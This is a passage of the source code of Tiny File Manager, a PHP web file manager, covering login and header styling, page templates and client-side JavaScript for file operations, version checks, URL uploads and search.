16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } /** * Show page footer in Login Form */ function fm_show_footer_login() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script> </body> </html> <?php } /** * Show Header after login */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" /> <?php if (FM_USE_HIGHLIGHTJS): ?> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css"> <?php endif; ?> <style> body { font-size:14px;color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a:hover, a:visited, a:focus { text-decoration:none !important; } * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } #search-addon2 { background:transparent;border-left:0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0 } pre.with-hljs code { margin:0;border:0;overflow:visible } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { border-radius:0;padding:3px 6px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } .ekko-lightbox .modal-dialog { max-width:98%; } .ekko-lightbox-item.fade.in.show .row { background:#fff; } .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; } .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; } .ekko-lightbox-nav-overlay a:hover { color:#20507D; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } </style> <?php if (FM_THEME == "dark"): ?> <style> body.theme-dark { background-color: #2f2a2a; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; } a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; } ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; } .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;} </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input"> <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked=""> <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control"> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </div> </div> </div> <!-- Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group input-group"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <div class="input-group-append"> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </div> </h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p> </ul> </form> </div> </div> </div> </div> <script type="text/html" id="js-tpl-modal"> <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <%this.content%> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%> </div> </div> </div> </div> </script> <?php } /** * Show page footer */ function fm_show_footer() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script> <?php if (FM_USE_HIGHLIGHTJS): ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script> <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> $(document).on('click', '[data-toggle="lightbox"]', function(event) { event.preventDefault(); var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } }; $(this).ekkoLightbox({ alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); } }); }); //TFM Config window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null; function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }} function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function newfolder(e) { var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value; null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n)) } function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))} function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { //Create file backup with .bck var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState && 200 == n.status && toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } //Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (n) { if(true){ var data = {ajax: true, content: n, type: 'save'}; $.ajax({ type: "POST", url: window.location, // The key needs to match your method's input parameter (case-sensitive). data: JSON.stringify(data), contentType: "multipart/form-data-encoded; charset=utf-8", //dataType: "json", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else{ var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit() } } } //Check latest version function latest_release_info(v) { if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html(); if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;} $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();} } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } //Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } //Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } //Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } //search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt && searchTxt.length > 2 && path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search'}; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ 